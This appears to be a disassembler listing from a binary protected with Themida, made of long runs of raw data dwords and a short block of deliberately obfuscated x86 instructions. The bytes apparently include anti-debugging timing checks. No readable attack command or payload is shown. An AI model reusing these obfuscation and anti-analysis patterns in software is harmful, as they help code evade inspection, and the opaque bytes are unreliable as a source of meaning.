		dd 0A98EC994h, 0BDF6E2Fh, 43950B9Ah, 5C2812E5h,	0D369FC2Ch
		dd 745EF72Ah, 0F724CD5Bh, 8A94470h, 0DDDEC861h,	0D7851AADh
		dd 806AFB2Eh, 47DDD55Dh, 0A307AF59h, 0F0976A47h, 9CD7B724h
		dd 3701E443h, 3A067F02h, 0CD688588h, 994B8AE3h,	43911FB6h
		dd 0B9000000h, 0B544DD10h, 0B24BF285h, 820AFCC8h, 0F0DE6E9Ch
		dd 49A3F27Fh, 0AF56F7CAh, 2CFEAD16h, 684E3860h,	0C14331C7h
		dd 0EC47A27Ah, 39A67219h, 66439C5Ah, 0DB84B583h, 0CB240EA9h
		dd 1FB6580Ah, 0D3D0h, 0FC2C3400h, 0E43162A1h, 0DE7F8917h
		dd 0BF9A937h, 49A3009Ah, 8E7C12E5h, 49A3001Dh, 0AAAB9568h
		dd 0B037DE77h, 2CCBF780h, 2D5DE48Bh, 8219059Ah,	1249A2FCh
		dd 0A02955E2h, 9239DA73h, 0FAC358F9h, 34E47A72h, 10AFDB84h
		dd 0A2FBCB3Ch, 0A91A0849h, 0F449A2FBh, 30C69921h, 0A2FBD142h
		dd 5F491C49h, 9B608F19h, 0DD09CA47h, 75DF117Ah,	2CCD4CA5h
		dd 3ACBFE85h, 0B962F899h, 0A856EB86h, 0D3D85925h, 629C05A0h
		dd 0DFE0CA94h, 0AB4319ACh, 57FA6553h, 129A728h,	0D0010000h
		dd 0CDF9A035h, 0C8F69D32h, 0C2F1982Dh, 0B8EB9227h, 0D5ED881Dh
		dd 0B94EE71Ah, 0B348E512h, 0B247DA0Ch, 0A73CDB0Bh, 0D7E6CDAh
		dd 5843963Fh, 0F92C6F41h, 0FC2CD368h, 0BB24D7Bh, 0CA3CD172h
		dd 0C269FC2Ch, 0D76C0B3Bh, 0F88E860Eh, 0F1E95A48h, 613449A3h
		dd 5C03A2D2h, 21D1D9C3h, 3337139Eh, 91C0BD80h, 17B851F8h
		dd 0D5BF5A88h, 0A300BB8Fh, 2614C447h, 439C70B5h, 0A9972D00h
		dd 439C7038h, 0CCC6B083h, 87BA63F9h, 709A0BF9h,	12E5439Ch
		dd 32DB71h, 3B25BE65h, 0AEDD8634h, 0B45BF625h, 4A907A1Bh
		dd 439C70DDh, 0B861F121h, 0AA1BEF8Ah, 0F5439C70h, 0C391235Ah
		dd 0B15236FCh, 0A1D47B10h, 64E86910h, 5E000000h, 0F48A820Ah
		dd 98535106h, 8319EC47h, 2610ADDAh, 0BF56860Dh,	0B453832Ah
		dd 0B9F2410Dh, 0E2751CD7h, 1BBAEA54h, 19ACDC85h, 5543D972h
		dd 0E8D389E4h, 6B725C2Fh, 5A0194C4h, 0EB1BA4D3h, 9904AB4Ch
		dd 2BCAFAA3h, 0A601EB84h, 0E77EAE98h, 0DC7BAB52h, 0DB435h
		dd 252A0000h, 0F2168775h, 8E6149A3h, 2CF3D5A4h,	3CC36AFBh
		dd 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h, 70F79E37h
		dd 7A01A841h, 830AB14Ch, 6711B857h, 53E08950h, 12757BBBh
		dd 35E38174h, 8111F009h, 100135F3h, 5BD80110h, 8704E883h
		db 4, 24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	0DE7h
		mov	[esp], ecx
		push	ebx
		push	edx
		mov	edx, 313466F6h
		xor	edx, 760E7876h
		shr	edx, 6
		shr	edx, 6
		xor	edx, 5FE93534h
		mov	ebx, edx
		pop	edx
		dec	ebx
		and	ebx, 29B54EEBh
		add	ebx, 0FC68699Fh
		mov	eax, ebx
		pop	ebx
		push	75E1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		mov	ebp, eax
		push	ebp
		pop	dword ptr [ecx+8]
		pop	ebp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_544543
; ---------------------------------------------------------------------------
		db 22h
		dd 3702FFF2h, 268AFB21h, 9460A5AEh, 79B837BDh, 3060DB4h
		dd 19E0FFC5h, 0D574775Eh, 0C3092B31h, 0E854A15Bh, 6, 694A05C6h
		dd 5AF91C04h, 0E9C281F5h, 0E9000064h, 14h, 0EF0F59FDh
		dd 24EB35DFh, 12C07615h, 5F16F73Bh, 0FCCF484h, 3BF3A3BFh
		dd 68C78122h, 0FDDC425h, 383h, 2FE88000h, 0B86632FFh, 0B95BD073h
		dd 969C20Fh, 0E410EB81h, 0B8661140h, 0C38148B3h, 65F5422Bh
		dd 138E0Fh, 0E9600000h,	0Ch, 6367BFA5h,	0E0D9125h, 62020000h
		dd 3AF38161h, 894043E0h, 0C1EA811Ah, 532E98CBh,	18A0Fh
		dd 58F90000h, 0CBBDC281h, 30B92E98h, 833EA245h,	850F01EFh
		dd 15h,	0E932E480h, 1Dh, 42447E72h, 0A2DBD4E5h,	4BF8C7Dh
		dd 0F9F8B89Ah, 81E96536h, 3AFFFFFFh, 992CA453h,	0FE811h
		dd 0FF940000h, 7C204E74h, 37F8DB9Ah, 1B372F7h, 0CE85B6Bh
		dd 0D4000000h, 0BCEDF91Dh, 5FA95B9h, 0F444836h,	1985h
		dd 14E900h, 0A0E70000h,	40C3C1E1h, 0C1EF91D7h, 8274A3C1h
		dd 30BE011Ch, 81589942h, 63A2C3h, 0AADE8000h, 480247B9h
		dd 7AC18171h, 8B8EB816h, 8033FFF7h, 805FB0DEh, 0C78146C4h
		dd 8DD23E0h, 0F735D281h, 0EF811488h, 6DB34F96h,	28C0Fh
		dd 0F48A0000h, 0AB90C781h, 8B56329Bh, 3B8958F0h, 0EB83B2B4h
		dd 4B4BFC02h, 83F0B70Fh, 850F01E9h, 0FFFFFFBDh,	28C0Fh
		dd 0D48A0000h, 0BD83C08Bh, 6071ACDh, 83097500h,	71135BDh
		dd 19740006h, 0C08B5350h, 421B8h, 7D858900h, 8D06071Fh
		dd 9ADC09Dh, 5BD3FF06h,	35BD8358h, 60711h, 53501774h, 421B8h
		dd 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 8BC08B58h
		dd 723199Dh, 0CD85C606h, 56060709h, 0A8B85268h,	99B5FF9Ch
		dd 8D06070Dh, 0A703885h, 6AD0FF06h, 10006804h, 0B5FF0000h
		dd 6072D39h, 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 0E48D8D00h
		dd 0FF06076Fh, 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h
		dd 0BD83D303h, 6070C89h, 0E840F00h, 8B000000h, 70C899Dh
		dd 5D858B06h, 89060722h, 8D525103h, 778ED85h, 8BD0FF06h
		dd 8BF18BFAh, 0F3C88BD1h, 0CD85C6A4h, 56060709h, 1F6D3968h
		dd 99B5FFD4h, 8D06070Dh, 0A703885h, 68D0FF06h, 8000h, 0FF52006Ah
		dd 83C08BD0h, 71ACDBDh,	9750006h, 1135BD83h, 74000607h
		dd 8B535019h, 421B8C0h,	85890000h, 6072F81h, 0AE279D8Dh
		dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h,	421B853h
		dd 85890000h, 6072F81h,	0AAC89D8Dh, 0D3FF0609h,	0C08B585Bh
		dd 0C899D8Dh, 38B0607h,	840FC00Bh, 7, 5B8B038Bh, 0B8188904h
		dd 4B41h, 9E8h,	0A41DE100h, 0CB47D2C6h,	815A00DDh, 74C6C2h
		dd 1870F00h, 0FC000000h, 92BEFF33h, 8B6DAF75h, 0B70F3A04h
		dd 0C7C081F2h, 5659EE77h, 0AF0815Eh, 0FC1AA124h, 2C3BE881h
		dd 0B9664F08h, 60509F96h, 0DE8B66F8h, 3A048F61h, 8153F88Ah
		dd 0AAEAF3E6h, 0EF835E0Ch, 0AABB6601h, 4F4F4F40h, 8138E980h
		dd 0FF8BCCFFh, 14850FFFh, 0E9000000h, 27h, 438285E7h, 0CA0D95CAh
		dd 7629243Fh, 0F5C2C5ECh, 0FFFF9AE9h, 0DE9B58FFh, 5E847995h
		dd 31F0B0FAh, 8866E7F5h, 0E850588Ch, 0Dh, 4149BD9Eh, 5BDB5BCAh
		dd 26BE1EAh, 1870F6Bh, 0FC000000h, 0CEB70F5Bh, 7236C381h
		dd 0F6330000h, 0F1F18166h, 33048B6Dh, 850Fh, 0C0810000h
		dd 7C98ADBEh, 0FEB70F60h, 0EE860h, 490C0000h, 9DC34CB2h
		dd 36918C6Fh, 8D0703FCh, 0D18B665Ah, 0F0816161h, 52EF44F7h
		dd 2880Fh, 0EA8A0000h, 1DA3F081h, 0E1810795h, 625D7A1Ch
		dd 9E950h, 0A6010000h, 4C2C0919h, 8F582CB5h, 0BF0F3304h
		dd 0C9F280CBh, 0E804EE83h, 14h,	0FD90E28Fh, 3F2D7474h
		dd 7E67D461h, 0A84729E7h, 6093AFC2h, 5AB3E980h,	8EB4FE81h
		dd 850FFFFFh, 22h, 8E8h, 586EA800h, 5CA94B52h, 5FE88A7Eh
		dd 29E9h, 0F98B7A00h, 7DCDF413h, 677612DDh, 0D4B94660h
		dd 0E91F544Dh, 0FFFFFF49h, 0ADBCE135h, 5F0422C9h, 22FECA22h
		dd 0DC3631B3h, 2AE99ECFh, 0C7000000h, 2404h, 0E80000h
		dd 5D000000h, 0B9B8ED81h, 448B060Dh, 85890424h,	607190Dh
		dd 0B8h, 9B8D8D00h, 0FF06074Bh,	6754B8E1h, 9D8D0000h, 60720F5h
		dd 1434B8h, 0B9858900h,	0E8060729h, 0
		dd 0D0558h, 3890000h, 1434E9h
		db 0
byte_5A81BD	db 3 dup(0)		; DATA XREF: Themida_:0053E8B4o
		dd 50Ah	dup(0)
		db 0
byte_5A95E9	db 3 dup(0)		; DATA XREF: Themida_:0053D970o
		dd 0
		dd 16EB00h, 4 dup(0)
		dd 1000000h, 3E401h, 0E9060D00h, 7, 0DD1CA97h, 8B49CECEh
		dd 0F88B50D7h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 25DEC351h, 0DA52C1EEh
		dd 0C88BD7E8h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8A0FE6C3h, 4, 0A9A3BB66h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0B89965C3h, 0CFC1858Dh, 6A060Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF6621C3h
		dd 66900AC8h, 502E5ABFh, 6A907BB5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 773EC353h
		dd 890FAED2h, 5, 12CF8166h, 8B006AA2h, 71F31BDh, 8B006A06h
		dd 58C0FFBh, 0B9000000h, 39F8939Ah, 1E3D95FFh, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0BF1954C3h, 0AAE680CBh, 645E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 4B1FCB39h
		dd 11E8h, 0B7E23400h, 0C661414Eh, 99221C35h, 3233E3FFh
		dd 11E87630h, 57000000h, 849AF7EFh, 0BC8188C1h,	3176A44Dh
		dd 23151B83h, 2B1D9D8Bh, 5A5F0607h, 0E8h, 0ED815D00h, 60DCFC6h
		dd 443CBA66h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0F2C35747h, 0F9B59AFEh,	631AD668h, 5AE1B909h, 34811A6Ah
		dd 63157624h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 3E83BED2h, 9D339473h, 6071029h, 0D6995FFh
		dd 0CB810607h, 53A21C6Ch, 0CE34B58Dh, 0FB8B060Dh, 6C7D08Bh
		dd 6D676552h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	78C35343h, 0BD89065Eh, 6070A41h, 0FC19D89h, 46C70607h
		dd 636E6F04h, 51006A6Ch, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0DA82D2E3h, 69F3D338h, 6E953h, 0DAD10000h
		dd 34C1F835h, 68F0Fh, 85890000h, 6070911h, 610846C7h, 6A007373h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 8252C355h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0A6531CC3h, 820FD40Bh
		dd 6, 563EEA81h, 858D2D71h, 60DCE34h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 43C35747h, 90E0F735h, 0EEA4BA66h
		dd 51515650h, 905A595Bh, 3D9589h, 95FF0607h, 60700C1h
		dd 66CA8B66h, 0C00BC88Bh, 50840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66C769C3h
		dd 2B18DA81h, 3E7E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 95CDFCE8h, 0BA7DD836h
		dd 930CEB81h, 0C4684671h, 50531C3Fh, 50525052h,	5A310F52h
		dd 2 dup(5A310F58h), 24348158h,	531C3EE8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 10C35747h, 0C8BFEF98h
		dd 10DD89Ch, 70AC18Dh, 6995FF06h, 6A06070Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 4CF4C351h, 34B58DFDh, 6A060DCEh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 9325C353h
		dd 83B7CDB6h, 46A57C41h, 88D0Fh, 29530000h, 70ED595h, 0BB665A06h
		dd 6C74A86h, 36343831h,	1ED28166h, 446C738h, 31342D37h
		dd 998D8B60h, 6106072Ch, 846C7h, 60000000h, 266D9D8Bh
		dd 6A610607h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 75958BF5h, 0E8060713h, 0Eh, 0AF06117Eh
		dd 0F3CC9857h, 0D50490h, 8166ECC1h, 5B05C7C1h, 34858DF5h
		dd 89060DCEh, 709058Dh,	0E9605006h, 10h, 25CD8C6Bh, 0F9E4BDDBh
		dd 0BC9CEE46h, 5662A25Eh, 0B85F5060h, 6745B12Ch, 4896161h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 4160984Bh, 0B98BBA03h, 8D89627Ah, 607293Dh
		dd 0BD8BF88Bh, 60719A5h, 0C195FFh, 0BD890607h, 6072335h
		dd 830Fh, 0C00B0000h, 2C840Fh, 8B660000h, 22AE9D3h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0E60869C3h, 63B10449h, 4B68D88Bh, 0F4CF963h,	48Ah, 5B535200h
		dd 24348159h, 4CF96267h, 0FF91C680h, 70D6995h, 0CBE18006h
		dd 2A219D8Bh, 0B58D0607h, 60DCE34h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0BCC35242h,	11335805h, 0EC4540E1h
		dd 7D9D8982h, 52060720h, 5ACEB70Fh, 694606C7h, 6A656Ch
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8B4AE1C3h, 727F1BDh,	446C706h, 636E6F6Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 74C35141h, 2B540FB8h
		dd 0F850D0AEh, 6850Fh, 0BD8B0000h, 60700D5h, 6C0846C7h
		dd 6A737361h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 23B1C351h, 15B4C4F6h, 11291986h
		dd 0C46C7h, 8B000000h, 6A006ACAh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6014C357h
		dd 4136CC6Dh, 91C3A0B9h, 7E9h, 0D5F97500h, 1A83FA23h, 1D95958Bh
		dd 858D0607h, 60DCE34h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 7CC35646h, 0E0055411h, 906997C7h, 5050E6B5h
		dd 8B310F52h, 90585AC8h, 95FFF18Ah, 60700C1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0AEC35343h, 5C03A336h
		dd 0A81E9B98h, 0FC00B03h, 4A84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 375F7F3Ch
		dd 0FA9EDD4h, 0D86h, 8E900h, 66310000h,	46C19AA2h, 0C88A7966h
		dd 2F5D9509h, 2DE90607h, 52000000h, 2BD8D8Bh, 0E95A0607h
		dd 0FFFFFA84h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0DFC35040h, 0D1BF0F7Fh,	6FE4B58Dh, 6A0607h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A6CB3AC3h, 0BB91F5B3h, 78C5F3FFh, 7CDBD8Bh,	0B80607h
		dd 0FF000000h, 51006AE6h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0C18B7F5Dh, 0D68B8D8Dh
		dd 6A060Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 3C8876C3h, 0FFE855Bh, 681h, 0CD858900h, 8906070Eh
		dd 71AD98Dh, 10E806h, 0FDD50000h, 0CA3D9A7h, 0E15C7ADBh
		dd 0D3B1A725h, 0CA800D3Ah, 85C75A94h, 607101Dh,	581Ch
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 20C35646h
		dd 1FDCA64Ah, 0E58F1852h, 2819B58Bh, 85C70607h,	6073305h
		dd 0
		dd 820270BFh, 51B5FF25h, 81060713h, 9C060FC0h, 5995FF47h
		dd 6A060718h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 8756C355h, 73EB5A94h, 669510B3h
		dd 6AF682BBh, 6995FF00h, 8B06070Dh, 0DD29EBC0h,	0A0F85E52h
		dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh
		dd 0E356821h, 759A3E78h, 0EFE31BA1h, 0BF274AA3h, 75FDED55h
		dd 76F67A5Eh, 56E669A4h, 0D3FD49BCh, 31FD2069h,	76FD2047h
		dd 0D4FD2050h, 0C6FD20D9h, 0BCFD201Ch, 85FD20FEh, 7AFD208Fh
		dd 51FD2036h, 9CFD206Ah, 55FD2044h, 0CEFD2050h,	2BFD20DBh
		dd 8FD201Dh, 0D5FD20FFh, 91FD208Eh, 0E5FD2035h,	9DFD2069h
		dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah
		dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h
		dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A753DDh, 75A750B5h
		dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh
		dd 73F0A08Fh, 0A2F5FFA6h, 0F0707C9Ah, 73F0A02Ch, 0A335FF6Ch
		dd 0F0707CFFh, 73F0A15Ch, 0A2F9FF35h, 0F0707C53h, 73F0A0AAh
		dd 0A331FF1Eh, 0F0707CC6h, 73F0A0A1h, 0A32DFF7Bh, 0F0707C74h
		dd 73F0A25Eh, 0A329FFD7h, 0F0707C22h, 73F0A263h, 0A325FF42h
		dd 0F0707CE8h, 73F0A3F8h, 0A321FFF0h, 0F0707CB1h, 73F0A33Bh
		dd 0A315FFA6h, 0F0707C9Ah, 73F0A3FAh, 0A31DFF6Ch, 0F0707CFFh
		dd 73F0A329h, 0A319FF35h, 0F0707C53h, 73F0A34Ah, 0A315FF1Eh
		dd 0F0707CC6h, 73F0A37Ah, 0A305FF7Bh, 0F0707C74h, 73F0A302h
		dd 0A301FFD7h, 0F0707C22h, 73F0A376h, 0A2FDFF42h, 0F0707CE8h
		dd 73F0A0D8h, 0A311FFF0h, 0F0707CB1h, 73F0A03Fh, 0A30DFFA6h
		dd 0F0707C9Ah, 73F0A037h, 0A309FF6Ch, 0F0767CFFh, 73FA4A20h
		dd 0A2BCFF35h, 0F0767C53h, 73FA6216h, 0A2B8FF1Eh, 0B69C7CC6h
		dd 9D11F1B0h, 75FD7AF2h, 2017FB23h, 25FB7764h, 0FDF53FD5h
		dd 782A3AADh, 0B7342291h, 23AC7ACFh, 20AD29B7h,	75FD7A1Ah
		dd 987C2779h, 73F0A2CAh, 0A33AFFA0h, 0C87D7C22h, 73F0AC50h
		dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0A2B8EF86h, 0FEBD7CB1h
		dd 7A452B96h, 8AFD7A2Fh, 782A3F02h, 0BD48F7CDh,	0F8FB7733h
		dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 782A3FBAh
		dd 0BD48F791h, 0F8FB771Dh, 8A50FCD1h, 0BC1F2322h, 0A33AF787h
		dd 2DA07CB1h, 2CA32005h, 776D92ECh, 0CD4D7A97h,	8A5779C1h
		dd 782A3B70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh,	0DE9B5954h
		dd 0A2BCEFD0h, 0DE9B7C9Ah, 77959208h, 360B7AE5h, 6E8872F3h
		dd 0A2BCEF86h, 0C54D7CB1h, 8AAD7954h, 782A3BBAh, 0F69B2091h
		dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h,	2FFD7ABEh
		dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h
		dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h,	0A916D049h
		dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h
		dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h,	0FF4DBA07h
		dd 346885B5h, 2FFB7725h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h
		dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h,	0DEFD7AF2h
		dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h
		dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h
		dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h,	74BE8CE5h
		dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
		dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0A2B8EF0Dh, 0C0707C74h
		dd 73F0ADB0h, 7F518A5Dh, 0E002D02Ch, 73F0ADD6h,	74E59208h
		dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
		dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh
		dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch
		dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h
		dd 2D4D7A5Eh, 0B6577925h, 0A343FF69h, 0C87D7CC6h, 73F0AC5Bh
		dd 0F8EC0FF3h, 782A4AFCh, 61152ABAh, 9DFD7A5Ch,	75FD781Bh
		dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh,	0A343F787h
		dd 0C87D7CB1h, 73F0ACE0h, 0F8F10F2Fh, 782A4A12h, 0DE152ACDh
		dd 0B6FD7AE4h, 75FD7E4Ah, 30688579h, 0F8FB776Bh, 7826F7C3h
		dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h
		dd 7115F9BBh, 8A3E7835h, 782A3BCBh, 514ACE29h, 0C1FF0E96h
		dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h
		dd 0B5F179BEh, 0B6577825h, 0A2BCEF68h, 917D7CC6h, 0F539FAEAh
		dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh
		dd 7345B995h, 8AFD7ACBh, 782A3F70h, 5160F7F4h, 0F8FB77AEh
		dd 0CD3E39A0h, 75FD7A4Eh, 0A2B8EFD0h, 0B57E7C9Ah, 8935F1CEh
		dd 0A2BCEF1Ah, 97577CFFh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh
		dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh,	0F611F1A7h
		dd 9D9D86BDh, 75FD7ABCh, 0E817FB04h, 0FCFB77F4h, 0CF7D86EAh
		dd 73F0AD8Bh, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0A2B8E843h
		dd 0FCBD7C53h, 782A33ADh, 0F835F191h, 78210B79h, 346F85E3h
		dd 0FDFB7725h, 801F3C7Fh, 75FD6D04h, 3C7F795Eh,	35FB77F8h
		dd 0A998E01Ah, 0B67E7CC6h, 22FEF3E1h, 75FD644Bh, 3C777979h
		dd 0F8FB776Bh, 782129ECh, 2B598929h, 75FD722Fh,	306F85CBh
		dd 0F6FB7732h, 85897E0Ah, 72447C71h, 7DFD7ABCh,	0C3F24B5Ah
		dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h
		dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh
		dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch
		dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h
		dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h,	2FFD7A2Fh
		dd 0A9799016h, 0CF707CC6h, 73F0ADA8h, 0CCF50F79h, 75FD7A71h
		dd 0BC9CDE4Fh, 26FD7E9Ch, 0A2B0E7A2h, 497D7C9Ah, 71887BD3h
		dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0C817FB04h
		dd 0F8FB77F3h, 782A3725h, 7D80F1CDh, 75FD725Ch,	145989F2h
		dd 75F9B8B0h, 3840F7DCh, 46FB7789h, 75F5C3EFh, 0DF0E7A97h
		dd 0F89DB9AAh, 782A3758h, 74C2FBF4h, 0FC7B78h, 7182FBB0h
		dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 3840F7ABh,	0CDFB7732h
		dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh,	2F78F7EFh
		dd 8AFB7740h, 0E9CA8BD0h, 3Bh, 0ADBD8B60h, 83060712h, 0C93304EFh
		dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h
		dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h
		dd 0FFFFD382h, 8BC361FFh, 1DCAFEC8h, 92A80B04h,	588A4F8Ch
		dd 0ABA80B05h, 3075EAD5h, 98A80B05h, 0BA8A4F8Dh, 7557AE5Dh
		dd 208A4F82h, 0ABA80B0Ah, 0EB75EAD5h, 0BBA80B0Ah, 758A4F82h
		dd 25A80B0Bh, 0EF8A4F83h, 0ABA80B0Bh, 2575EAD5h, 8A31D42Fh
		dd 0C0031327h, 52A58CD2h, 9A8D90A7h, 0D12157AFh, 4387C85Eh
		dd 8BF6D42Fh, 0C0031327h, 52A58CDAh, 9A3C90A7h,	0D12157AFh
		dd 4387C8AAh, 0B4A5D42Fh, 0C0031327h, 52A58C26h, 0A5E890A7h
		dd 0D12157AFh, 4387C8A6h, 0B40ED42Fh, 0C0031327h, 52A58C32h
		dd 0A56590A7h, 0D12157AFh, 4387C8B2h, 0B598D42Fh, 0C0031327h
		dd 52A58C3Eh, 0A4FB90A7h, 0D12157AFh, 4387C88Ah, 0B51AD42Fh
		dd 0C0031327h, 52A58C06h, 0A46190A7h, 0D12157AFh, 4387C882h
		dd 5012B8C3h
		dd 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 485446C0h
		dd 0A8ED96A4h, 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh
		dd 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 6D3AAE63h, 848C1232h
		dd 11AB5342h, 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h
		dd 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
		dd 54A851A2h, 4162AD6Ch, 660351A2h, 0EE27BFEAh,	8CC3DB2Fh
		dd 94751327h, 0D9020112h, 48527EA0h, 0EC79AEA4h, 41AE51A1h
		dd 3F22DC09h, 0BA8C18F2h, 0DF103773h, 0C821732Ah, 59703A28h
		dd 0FD5BEA2Ch, 508C152Bh, 2E009881h, 0ABAE5C7Ah, 0EFD2A5FBh
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 485506C0h, 5CDDDAA4h,	828668A1h
		dd 54A8ADE7h, 0BACC152Ah, 53980830h, 0CE529E2Ch, 9783FC69h
